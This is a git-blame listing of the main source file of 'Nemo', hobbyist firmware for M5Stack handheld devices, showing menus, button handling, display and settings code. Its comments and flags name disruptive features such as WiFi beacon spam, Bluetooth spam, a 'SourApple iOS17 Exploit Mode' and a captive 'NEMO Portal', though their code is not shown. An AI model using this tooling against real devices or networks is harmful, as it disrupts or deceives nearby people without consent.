2023-09-21 05:13:04 +00:00
|
|
|
// Nemo Firmware for the M5 Stack Stick C Plus
|
|
|
|
// github.com/n0xa | IG: @4x0nn
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-11-14 00:32:50 +00:00
|
|
|
// -=-=-=-=-=-=- Uncomment the platform you're building for -=-=-=-=-=-=-
|
2024-01-10 03:48:22 +00:00
|
|
|
#define STICK_C_PLUS
|
2023-12-21 23:33:35 +00:00
|
|
|
//#define STICK_C_PLUS2
|
2024-01-07 08:00:04 +00:00
|
|
|
//#define STICK_C
|
2024-01-10 03:48:22 +00:00
|
|
|
//#define CARDPUTER
|
2023-11-14 00:32:50 +00:00
|
|
|
// -=-=- Uncommenting more than one at a time will result in errors -=-=-
|
|
|
|
|
2024-01-09 05:18:08 +00:00
|
|
|
String buildver="2.3.3";
|
2023-11-14 02:32:13 +00:00
|
|
|
#define BGCOLOR BLACK
|
|
|
|
#define FGCOLOR GREEN
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-12-30 04:34:45 +00:00
|
|
|
// -=-=- NEMO Portal Language -=- Thanks, @marivaaldo! -=-=-
|
|
|
|
#define LANGUAGE_EN_US
|
|
|
|
//#define LANGUAGE_PT_BR
|
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
#if defined(STICK_C_PLUS)
|
2023-10-06 21:00:49 +00:00
|
|
|
#include <M5StickCPlus.h>
|
2023-11-23 17:03:33 +00:00
|
|
|
// -=-=- Display -=-=-
|
|
|
|
String platformName="StickC+";
|
2023-11-13 06:19:16 +00:00
|
|
|
#define BIG_TEXT 4
|
2023-10-06 21:00:49 +00:00
|
|
|
#define MEDIUM_TEXT 3
|
|
|
|
#define SMALL_TEXT 2
|
2023-10-08 05:16:31 +00:00
|
|
|
#define TINY_TEXT 1
|
2023-11-13 06:19:16 +00:00
|
|
|
// -=-=- FEATURES -=-=-
|
2023-11-14 00:32:50 +00:00
|
|
|
#define M5LED
|
2023-11-13 06:19:16 +00:00
|
|
|
#define RTC
|
|
|
|
#define AXP
|
|
|
|
#define ACTIVE_LOW_IR
|
|
|
|
#define ROTATION
|
|
|
|
#define USE_EEPROM
|
2023-12-30 04:34:45 +00:00
|
|
|
//#define SDCARD //Requires a custom-built adapter
|
2023-11-13 06:19:16 +00:00
|
|
|
// -=-=- ALIASES -=-=-
|
|
|
|
#define DISP M5.Lcd
|
2023-12-21 23:20:05 +00:00
|
|
|
#define IRLED 9
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SPEAKER M5.Beep
|
2024-01-11 04:41:15 +00:00
|
|
|
// #define BITMAP M5.Lcd.drawBitmap(0, 0, 320, 240, NEMOMatrix) // This doesn't work, generates static.
|
|
|
|
#define BITMAP Serial.println("unsupported")
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SD_CLK_PIN 0
|
|
|
|
#define SD_MISO_PIN 36
|
|
|
|
#define SD_MOSI_PIN 26
|
2023-12-21 23:20:05 +00:00
|
|
|
#endif
|
|
|
|
|
|
|
|
#if defined(STICK_C_PLUS2)
|
|
|
|
#include <M5StickCPlus2.h>
|
|
|
|
// -=-=- Display -=-=-
|
|
|
|
String platformName="StickC+2";
|
|
|
|
#define BIG_TEXT 4
|
|
|
|
#define MEDIUM_TEXT 3
|
|
|
|
#define SMALL_TEXT 2
|
|
|
|
#define TINY_TEXT 1
|
|
|
|
// -=-=- FEATURES -=-=-
|
2024-01-07 09:49:01 +00:00
|
|
|
//#define ACTIVE_LOW_IR
|
2023-12-21 23:20:05 +00:00
|
|
|
#define ROTATION
|
2024-01-03 20:05:16 +00:00
|
|
|
#define USE_EEPROM
|
|
|
|
//#define RTC //TODO: plus2 has a BM8563 RTC but the class isn't the same, needs work.
|
2023-12-30 04:34:45 +00:00
|
|
|
//#define SDCARD //Requires a custom-built adapter
|
2023-12-21 23:20:05 +00:00
|
|
|
// -=-=- ALIASES -=-=-
|
|
|
|
#define DISP M5.Lcd
|
|
|
|
#define IRLED 19
|
2024-01-11 00:45:06 +00:00
|
|
|
#define BITMAP M5.Lcd.drawBmp(NEMOMatrix, 97338)
|
2023-12-21 23:20:05 +00:00
|
|
|
#define M5_BUTTON_MENU 35
|
|
|
|
#define M5_BUTTON_HOME 37
|
|
|
|
#define M5_BUTTON_RST 39
|
|
|
|
//TODO: Figure out screen brightness on PLUS2 (if possible at all?) without AXP.
|
2023-12-29 01:58:18 +00:00
|
|
|
#define BACKLIGHT 27 // best I can tell from the schematics?
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SD_CLK_PIN 0
|
|
|
|
#define SD_MISO_PIN 36
|
|
|
|
#define SD_MOSI_PIN 26
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
|
|
|
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(STICK_C)
|
2023-10-06 21:00:49 +00:00
|
|
|
#include <M5StickC.h>
|
2023-11-23 17:03:33 +00:00
|
|
|
// -=-=- Display -=-=-
|
|
|
|
String platformName="StickC";
|
2023-10-06 21:00:49 +00:00
|
|
|
#define BIG_TEXT 2
|
|
|
|
#define MEDIUM_TEXT 2
|
|
|
|
#define SMALL_TEXT 1
|
2023-10-08 05:16:31 +00:00
|
|
|
#define TINY_TEXT 1
|
2023-11-13 06:19:16 +00:00
|
|
|
// -=-=- FEATURES -=-=-
|
2023-11-14 00:32:50 +00:00
|
|
|
#define M5LED
|
2023-11-13 06:19:16 +00:00
|
|
|
#define RTC
|
|
|
|
#define AXP
|
|
|
|
#define ROTATION
|
|
|
|
#define USE_EEPROM
|
2023-12-30 04:34:45 +00:00
|
|
|
//#define SDCARD //Requires a custom-built adapter
|
2023-11-13 06:19:16 +00:00
|
|
|
// -=-=- ALIASES -=-=-
|
|
|
|
#define DISP M5.Lcd
|
2023-12-21 23:20:05 +00:00
|
|
|
#define IRLED 9
|
2024-01-11 00:45:06 +00:00
|
|
|
#define BITMAP Serial.println("unsupported")
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SD_CLK_PIN 0
|
|
|
|
#define SD_MISO_PIN 36
|
|
|
|
#define SD_MOSI_PIN 26
|
2023-10-06 21:00:49 +00:00
|
|
|
#endif
|
|
|
|
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(CARDPUTER)
|
2023-11-13 06:19:16 +00:00
|
|
|
#include <M5Cardputer.h>
|
2023-11-23 17:03:33 +00:00
|
|
|
// -=-=- Display -=-=-
|
|
|
|
String platformName="Cardputer";
|
2023-11-13 06:19:16 +00:00
|
|
|
#define BIG_TEXT 4
|
|
|
|
#define MEDIUM_TEXT 3
|
|
|
|
#define SMALL_TEXT 2
|
|
|
|
#define TINY_TEXT 1
|
|
|
|
// -=-=- FEATURES -=-=-
|
|
|
|
#define KB
|
|
|
|
#define HID
|
2023-12-20 04:55:54 +00:00
|
|
|
#define ACTIVE_LOW_IR
|
2023-12-28 16:56:27 +00:00
|
|
|
#define USE_EEPROM
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SDCARD
|
2023-11-13 06:19:16 +00:00
|
|
|
// -=-=- ALIASES -=-=-
|
|
|
|
#define DISP M5Cardputer.Display
|
2023-12-20 04:55:54 +00:00
|
|
|
#define IRLED 44
|
2023-12-29 01:58:18 +00:00
|
|
|
#define BACKLIGHT 38
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SPEAKER M5Cardputer.Speaker
|
2024-01-11 00:45:06 +00:00
|
|
|
#define BITMAP M5Cardputer.Display.drawBmp(NEMOMatrix, 97338)
|
2023-12-30 04:34:45 +00:00
|
|
|
#define SD_CLK_PIN 40
|
|
|
|
#define SD_MISO_PIN 39
|
|
|
|
#define SD_MOSI_PIN 14
|
|
|
|
#define SD_CS_PIN 12
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
|
|
|
|
2023-11-23 17:03:33 +00:00
|
|
|
// -=-=-=-=-=- LIST OF CURRENTLY DEFINED FEATURES -=-=-=-=-=-
|
|
|
|
// M5LED - An LED exposed as M5_LED
|
|
|
|
// RTC - Real-time clock exposed as M5.Rtc
|
|
|
|
// AXP - AXP192 Power Management exposed as M5.Axp
|
|
|
|
// KB - Keyboard exposed as M5Cardputer.Keyboard
|
|
|
|
// HID - HID exposed as USBHIDKeyboard
|
|
|
|
// USE_EEPROM - Store settings in EEPROM
|
|
|
|
// ROTATION - Allow screen to be rotated
|
|
|
|
// DISP - Set to the API's Display class
|
2024-01-03 20:05:16 +00:00
|
|
|
// SDCARD - Device has an SD Card Reader attached
|
2023-12-30 04:34:45 +00:00
|
|
|
// SPEAKER - Aliased to the prefix used for making noise
|
|
|
|
|
|
|
|
/// SWITCHER ///
|
|
|
|
// Proc codes
|
|
|
|
// 0 - Clock
|
|
|
|
// 1 - Main Menu
|
|
|
|
// 2 - Settings Menu
|
|
|
|
// 3 - Clock set
|
|
|
|
// 4 - Dimmer Time adjustment
|
|
|
|
// 5 - TV B-GONE
|
|
|
|
// 6 - Battery info
|
|
|
|
// 7 - screen rotation
|
|
|
|
// 8 - AppleJuice Menu
|
|
|
|
// 9 - AppleJuice Advertisement
|
2024-01-03 20:05:16 +00:00
|
|
|
// 10 - Credits
|
2023-12-30 04:34:45 +00:00
|
|
|
// 11 - Wifi beacon spam
|
|
|
|
// 12 - Wifi tools menu
|
|
|
|
// 13 - TV-B-Gone Region Setting
|
|
|
|
// 14 - Wifi scanning
|
|
|
|
// 15 - Wifi scan results
|
|
|
|
// 16 - Bluetooth Spam Menu
|
|
|
|
// 17 - Bluetooth Maelstrom
|
|
|
|
// 18 - QR Codes
|
|
|
|
// 19 - NEMO Portal
|
2023-11-23 17:03:33 +00:00
|
|
|
|
2023-09-22 18:44:29 +00:00
|
|
|
int advtime = 0;
|
2023-09-25 01:55:42 +00:00
|
|
|
int cursor = 0;
|
2023-11-07 01:10:41 +00:00
|
|
|
int wifict = 0;
|
2023-09-27 13:29:27 +00:00
|
|
|
int brightness = 100;
|
2023-10-08 03:43:20 +00:00
|
|
|
int ajDelay = 1000;
|
2024-01-07 08:00:04 +00:00
|
|
|
int apSsidOffset = 16;
|
|
|
|
int apSsidMaxLen = 32;
|
2023-12-30 04:34:45 +00:00
|
|
|
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
|
|
|
|
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
|
|
|
|
bool swiftPair = false; // Internal flag to place AppleJuice into Swift Pair random packet Mode
|
|
|
|
bool androidPair = false; // Internal flag to place AppleJuice into Android Pair random packet Mode
|
|
|
|
bool maelstrom = false; // Internal flag to place AppleJuice into Bluetooth Maelstrom mode
|
2024-01-03 20:05:16 +00:00
|
|
|
bool portal_active = false; // Internal flag used to ensure NEMO Portal exits cleanly
|
2023-12-30 04:34:45 +00:00
|
|
|
const byte PortalTickTimer = 1000;
|
2024-01-07 08:00:04 +00:00
|
|
|
String apSsidName = String("");
|
|
|
|
bool isSwitching = true;
|
|
|
|
#if defined(RTC)
|
|
|
|
int current_proc = 0; // Start in Clock Mode
|
|
|
|
#else
|
|
|
|
int current_proc = 1; // Start in Main Menu mode if no RTC
|
|
|
|
#endif
|
2023-12-30 04:34:45 +00:00
|
|
|
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(USE_EEPROM)
|
2023-11-23 17:03:33 +00:00
|
|
|
#include <EEPROM.h>
|
2024-01-07 08:00:04 +00:00
|
|
|
#define EEPROM_SIZE 64
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2024-01-07 08:00:04 +00:00
|
|
|
#include <IRremoteESP8266.h>
|
|
|
|
#include <IRsend.h>
|
|
|
|
#include <DNSServer.h>
|
|
|
|
#include <WebServer.h>
|
|
|
|
#include "applejuice.h"
|
|
|
|
#include "WORLD_IR_CODES.h"
|
|
|
|
#include "wifispam.h"
|
|
|
|
#include "sd.h"
|
|
|
|
#include "portal.h"
|
2024-01-09 05:18:08 +00:00
|
|
|
#include "NEMOMatrix.h"
|
2024-01-07 08:00:04 +00:00
|
|
|
#include <BLEUtils.h>
|
|
|
|
#include <BLEServer.h>
|
2023-12-28 16:56:27 +00:00
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
struct MENU {
|
|
|
|
char name[19];
|
|
|
|
int command;
|
|
|
|
};
|
|
|
|
|
2023-11-14 19:11:51 +00:00
|
|
|
struct QRCODE {
|
|
|
|
char name[19];
|
|
|
|
String url;
|
|
|
|
};
|
|
|
|
|
|
|
|
QRCODE qrcodes[] = {
|
|
|
|
{ "Back", "" },
|
|
|
|
{ "Rickroll", "https://youtu.be/dQw4w9WgXcQ"},
|
|
|
|
{ "HackerTyper", "https://hackertyper.net/"},
|
|
|
|
{ "ZomboCom", "https://html5zombo.com/"},
|
|
|
|
};
|
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-12-29 05:51:11 +00:00
|
|
|
void drawmenu(MENU thismenu[], int size) {
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.fillScreen(BGCOLOR);
|
|
|
|
DISP.setCursor(0, 5, 1);
|
|
|
|
// scrolling menu
|
2024-01-08 20:22:23 +00:00
|
|
|
if (cursor < 0) {
|
|
|
|
cursor = size - 1; // rollover hack for up-arrow on cardputer
|
|
|
|
}
|
2023-12-29 05:51:11 +00:00
|
|
|
if (cursor > 5) {
|
|
|
|
for ( int i = 0 + (cursor - 5) ; i < size ; i++ ) {
|
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(thismenu[i].name);
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
for (
|
|
|
|
int i = 0 ; i < size ; i++ ) {
|
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(thismenu[i].name);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void number_drawmenu(int nums) {
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.fillScreen(BGCOLOR);
|
|
|
|
DISP.setCursor(0, 5, 1);
|
|
|
|
// scrolling menu
|
|
|
|
if (cursor > 5) {
|
|
|
|
for ( int i = 0 + (cursor - 5) ; i < nums ; i++ ) {
|
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(i);
|
|
|
|
}
|
|
|
|
} else {
|
|
|
|
for (
|
|
|
|
int i = 0 ; i < nums ; i++ ) {
|
|
|
|
DISP.print((cursor == i) ? ">" : " ");
|
|
|
|
DISP.println(i);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
void switcher_button_proc() {
|
|
|
|
if (rstOverride == false) {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-09-21 05:13:04 +00:00
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 1;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-11-13 23:38:50 +00:00
|
|
|
// Tap the power button from pretty much anywhere to get to the main menu
|
|
|
|
void check_menu_press() {
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(AXP)
|
2023-11-13 23:38:50 +00:00
|
|
|
if (M5.Axp.GetBtnPress()) {
|
|
|
|
#endif
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(KB)
|
2023-11-14 02:32:13 +00:00
|
|
|
if (M5Cardputer.Keyboard.isKeyPressed(',') || M5Cardputer.Keyboard.isKeyPressed('`')){
|
2023-12-21 23:20:05 +00:00
|
|
|
#endif
|
|
|
|
#if defined(M5_BUTTON_MENU)
|
|
|
|
if (digitalRead(M5_BUTTON_MENU) == LOW){
|
2023-11-13 23:38:50 +00:00
|
|
|
#endif
|
2023-12-29 01:58:18 +00:00
|
|
|
dimtimer();
|
2023-12-30 04:34:45 +00:00
|
|
|
if(portal_active){
|
|
|
|
// just in case we escape the portal with the main menu button
|
|
|
|
shutdownWebServer();
|
|
|
|
portal_active = false;
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
isSwitching = true;
|
|
|
|
rstOverride = false;
|
|
|
|
current_proc = 1;
|
|
|
|
delay(100);
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
bool check_next_press(){
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(KB)
|
2023-12-03 16:05:18 +00:00
|
|
|
M5Cardputer.update();
|
2023-11-14 02:32:13 +00:00
|
|
|
if (M5Cardputer.Keyboard.isKeyPressed(';')){
|
|
|
|
// hack to handle the up arrow
|
|
|
|
cursor = cursor - 2;
|
2023-12-29 01:58:18 +00:00
|
|
|
dimtimer();
|
2023-11-14 02:32:13 +00:00
|
|
|
return true;
|
|
|
|
}
|
2024-01-07 08:00:04 +00:00
|
|
|
//M5Cardputer.update();
|
2023-11-14 02:32:13 +00:00
|
|
|
if (M5Cardputer.Keyboard.isKeyPressed(KEY_TAB) || M5Cardputer.Keyboard.isKeyPressed('.')){
|
2023-12-29 01:58:18 +00:00
|
|
|
dimtimer();
|
2023-11-14 00:32:50 +00:00
|
|
|
return true;
|
2023-11-13 23:38:50 +00:00
|
|
|
}
|
|
|
|
#else
|
|
|
|
if (digitalRead(M5_BUTTON_RST) == LOW){
|
2023-12-29 01:58:18 +00:00
|
|
|
dimtimer();
|
2023-11-13 23:38:50 +00:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
#endif
|
|
|
|
return false;
|
|
|
|
}
|
|
|
|
|
|
|
|
bool check_select_press(){
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(KB)
|
2023-12-03 16:05:18 +00:00
|
|
|
M5Cardputer.update();
|
2023-11-14 02:32:13 +00:00
|
|
|
if (M5Cardputer.Keyboard.isKeyPressed(KEY_ENTER) || M5Cardputer.Keyboard.isKeyPressed('/')){
|
2023-12-29 01:58:18 +00:00
|
|
|
dimtimer();
|
2023-11-14 00:32:50 +00:00
|
|
|
return true;
|
2023-11-13 23:38:50 +00:00
|
|
|
}
|
|
|
|
#else
|
|
|
|
if (digitalRead(M5_BUTTON_HOME) == LOW){
|
2023-12-29 01:58:18 +00:00
|
|
|
dimtimer();
|
2023-11-13 23:38:50 +00:00
|
|
|
return true;
|
|
|
|
}
|
|
|
|
#endif
|
|
|
|
return false;
|
|
|
|
}
|
2023-10-08 03:43:20 +00:00
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
/// MAIN MENU ///
|
|
|
|
MENU mmenu[] = {
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(RTC)
|
2023-11-07 01:10:41 +00:00
|
|
|
{ "Clock", 0},
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-11-12 00:32:44 +00:00
|
|
|
{ "TV-B-Gone", 13}, // We jump to the region menu first
|
2023-11-14 03:52:46 +00:00
|
|
|
{ "Bluetooth", 16},
|
|
|
|
{ "WiFi", 12},
|
|
|
|
{ "QR Codes", 18},
|
2023-11-07 01:10:41 +00:00
|
|
|
{ "Settings", 2},
|
2023-09-21 05:13:04 +00:00
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
int mmenu_size = sizeof(mmenu) / sizeof(MENU);
|
2023-09-21 05:13:04 +00:00
|
|
|
|
|
|
|
void mmenu_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(mmenu, mmenu_size);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void mmenu_loop() {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-09-21 05:13:04 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % mmenu_size;
|
|
|
|
drawmenu(mmenu, mmenu_size);
|
2023-09-21 05:13:04 +00:00
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-09-21 05:13:04 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = mmenu[cursor].command;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-12-28 16:56:27 +00:00
|
|
|
bool screen_dim_dimmed = false;
|
|
|
|
int screen_dim_time = 30;
|
|
|
|
int screen_dim_current = 0;
|
|
|
|
|
|
|
|
void screenBrightness(int bright){
|
|
|
|
#if defined(AXP)
|
|
|
|
M5.Axp.ScreenBreath(bright);
|
|
|
|
#endif
|
2023-12-29 01:58:18 +00:00
|
|
|
#if defined(BACKLIGHT)
|
|
|
|
analogWrite(BACKLIGHT, 155 + (bright));
|
2023-12-28 16:56:27 +00:00
|
|
|
#endif
|
|
|
|
}
|
|
|
|
|
2023-12-29 01:58:18 +00:00
|
|
|
int uptime(){
|
|
|
|
return(int(millis() / 1000));
|
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-12-29 01:58:18 +00:00
|
|
|
void dimtimer(){
|
|
|
|
if(screen_dim_dimmed){
|
|
|
|
screenBrightness(brightness);
|
|
|
|
screen_dim_dimmed = false;
|
2023-12-28 16:56:27 +00:00
|
|
|
}
|
2023-12-29 01:58:18 +00:00
|
|
|
screen_dim_current = uptime() + screen_dim_time + 2;
|
|
|
|
}
|
|
|
|
|
|
|
|
void screen_dim_proc() {
|
2023-12-30 04:34:45 +00:00
|
|
|
if(screen_dim_time > 0){
|
|
|
|
if (screen_dim_dimmed == false) {
|
|
|
|
if (uptime() == screen_dim_current || (uptime() + 1) == screen_dim_current || (uptime() + 2) == screen_dim_current) {
|
|
|
|
screenBrightness(10);
|
|
|
|
screen_dim_dimmed = true;
|
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
}
|
|
|
|
}
|
2023-12-28 16:56:27 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-12-29 05:51:11 +00:00
|
|
|
/// Dimmer MENU ///
|
|
|
|
MENU dmenu[] = {
|
|
|
|
{ "Back", screen_dim_time},
|
2023-12-30 04:34:45 +00:00
|
|
|
{ "Never", 0},
|
2023-12-29 05:51:11 +00:00
|
|
|
{ "5 seconds", 5},
|
|
|
|
{ "10 seconds", 10},
|
|
|
|
{ "15 seconds", 15},
|
|
|
|
{ "30 seconds", 30},
|
2023-12-30 04:34:45 +00:00
|
|
|
{ "1 minute", 60},
|
|
|
|
{ "2 minutes", 120},
|
|
|
|
{ "4 minutes", 240},
|
2023-12-29 05:51:11 +00:00
|
|
|
};
|
|
|
|
int dmenu_size = sizeof(dmenu) / sizeof(MENU);
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-12-29 05:51:11 +00:00
|
|
|
void dmenu_setup() {
|
|
|
|
DISP.fillScreen(BGCOLOR);
|
|
|
|
DISP.setCursor(0, 5, 1);
|
|
|
|
DISP.println("SET AUTO DIM TIME");
|
|
|
|
delay(1000);
|
2023-12-30 04:34:45 +00:00
|
|
|
cursor = 0;
|
2023-12-29 05:51:11 +00:00
|
|
|
rstOverride = true;
|
|
|
|
drawmenu(dmenu, dmenu_size);
|
|
|
|
delay(500); // Prevent switching after menu loads up
|
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-12-29 05:51:11 +00:00
|
|
|
void dmenu_loop() {
|
|
|
|
if (check_next_press()) {
|
|
|
|
cursor++;
|
|
|
|
cursor = cursor % dmenu_size;
|
|
|
|
drawmenu(dmenu, dmenu_size);
|
|
|
|
delay(250);
|
|
|
|
}
|
|
|
|
if (check_select_press()) {
|
|
|
|
screen_dim_time = dmenu[cursor].command;
|
|
|
|
#if defined(USE_EEPROM)
|
|
|
|
EEPROM.write(1, screen_dim_time);
|
|
|
|
EEPROM.commit();
|
|
|
|
#endif
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 5, 1);
|
2023-12-29 05:51:11 +00:00
|
|
|
DISP.println("SET BRIGHTNESS");
|
2023-12-29 01:58:18 +00:00
|
|
|
delay(1000);
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = brightness / 10;
|
|
|
|
number_drawmenu(11);
|
|
|
|
while( !check_select_press()) {
|
|
|
|
if (check_next_press()) {
|
|
|
|
cursor++;
|
|
|
|
cursor = cursor % 11 ;
|
|
|
|
number_drawmenu(11);
|
|
|
|
screenBrightness(10 * cursor);
|
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
}
|
2023-12-29 05:51:11 +00:00
|
|
|
screenBrightness(10 * cursor);
|
|
|
|
#if defined(USE_EEPROM)
|
|
|
|
EEPROM.write(2, 10 * cursor);
|
|
|
|
EEPROM.commit();
|
|
|
|
#endif
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 2;
|
2023-11-13 06:19:16 +00:00
|
|
|
}
|
2023-12-29 05:51:11 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
/// SETTINGS MENU ///
|
|
|
|
MENU smenu[] = {
|
2023-11-14 19:11:51 +00:00
|
|
|
{ "Back", 1},
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(AXP)
|
2023-11-07 01:14:39 +00:00
|
|
|
{ "Battery Info", 6},
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-12-28 16:56:27 +00:00
|
|
|
{ "Brightness", 4},
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(RTC)
|
2023-11-07 01:14:39 +00:00
|
|
|
{ "Set Clock", 3},
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(ROTATION)
|
2023-11-07 01:14:39 +00:00
|
|
|
{ "Rotation", 7},
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-11-07 01:14:39 +00:00
|
|
|
{ "About", 10},
|
2024-01-07 08:00:04 +00:00
|
|
|
{ "Reboot", 98},
|
2023-11-14 02:52:15 +00:00
|
|
|
#if defined(USE_EEPROM)
|
|
|
|
{ "Clear Settings", 99},
|
|
|
|
#endif
|
2023-09-21 05:13:04 +00:00
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
int smenu_size = sizeof(smenu) / sizeof (MENU);
|
2023-09-21 05:13:04 +00:00
|
|
|
|
|
|
|
void smenu_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(smenu, smenu_size);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
|
2023-12-29 06:50:03 +00:00
|
|
|
void clearSettings(){
|
|
|
|
#if defined(USE_EEPROM)
|
2024-01-07 08:00:04 +00:00
|
|
|
for(int i = 0; i < EEPROM_SIZE; i++) {
|
|
|
|
EEPROM.write(i, 255);
|
|
|
|
}
|
2023-12-29 06:50:03 +00:00
|
|
|
EEPROM.commit();
|
|
|
|
#endif
|
2024-01-07 08:00:04 +00:00
|
|
|
screenBrightness(100);
|
2024-01-08 05:36:20 +00:00
|
|
|
DISP.fillScreen(BLUE);
|
2024-01-07 08:00:04 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
2024-01-08 05:36:20 +00:00
|
|
|
DISP.setRotation(1);
|
|
|
|
DISP.setTextColor(BLUE, WHITE);
|
2024-01-07 08:00:04 +00:00
|
|
|
DISP.setCursor(40, 0);
|
|
|
|
DISP.println("M5-NEMO");
|
2024-01-08 05:36:20 +00:00
|
|
|
DISP.setTextColor(WHITE, BLUE);
|
2024-01-07 08:00:04 +00:00
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.println("Restoring Default\nSettings...");
|
|
|
|
delay(5000);
|
2023-12-29 06:50:03 +00:00
|
|
|
ESP.restart();
|
|
|
|
}
|
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
void smenu_loop() {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-09-21 05:13:04 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % smenu_size;
|
|
|
|
drawmenu(smenu, smenu_size);
|
2023-09-21 05:13:04 +00:00
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-09-21 05:13:04 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
2024-01-07 08:00:04 +00:00
|
|
|
if(smenu[cursor].command == 98){
|
|
|
|
ESP.restart();
|
|
|
|
}
|
2023-11-14 02:52:15 +00:00
|
|
|
if(smenu[cursor].command == 99){
|
2023-12-29 06:50:03 +00:00
|
|
|
clearSettings();
|
2023-11-14 02:52:15 +00:00
|
|
|
}
|
2023-09-21 05:13:04 +00:00
|
|
|
current_proc = smenu[cursor].command;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
int rotation = 1;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(ROTATION)
|
2023-11-13 06:19:16 +00:00
|
|
|
/// Rotation MENU ///
|
|
|
|
MENU rmenu[] = {
|
2023-11-14 19:11:51 +00:00
|
|
|
{ "Back", rotation},
|
2023-11-13 06:19:16 +00:00
|
|
|
{ "Right", 1},
|
|
|
|
{ "Left", 3},
|
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
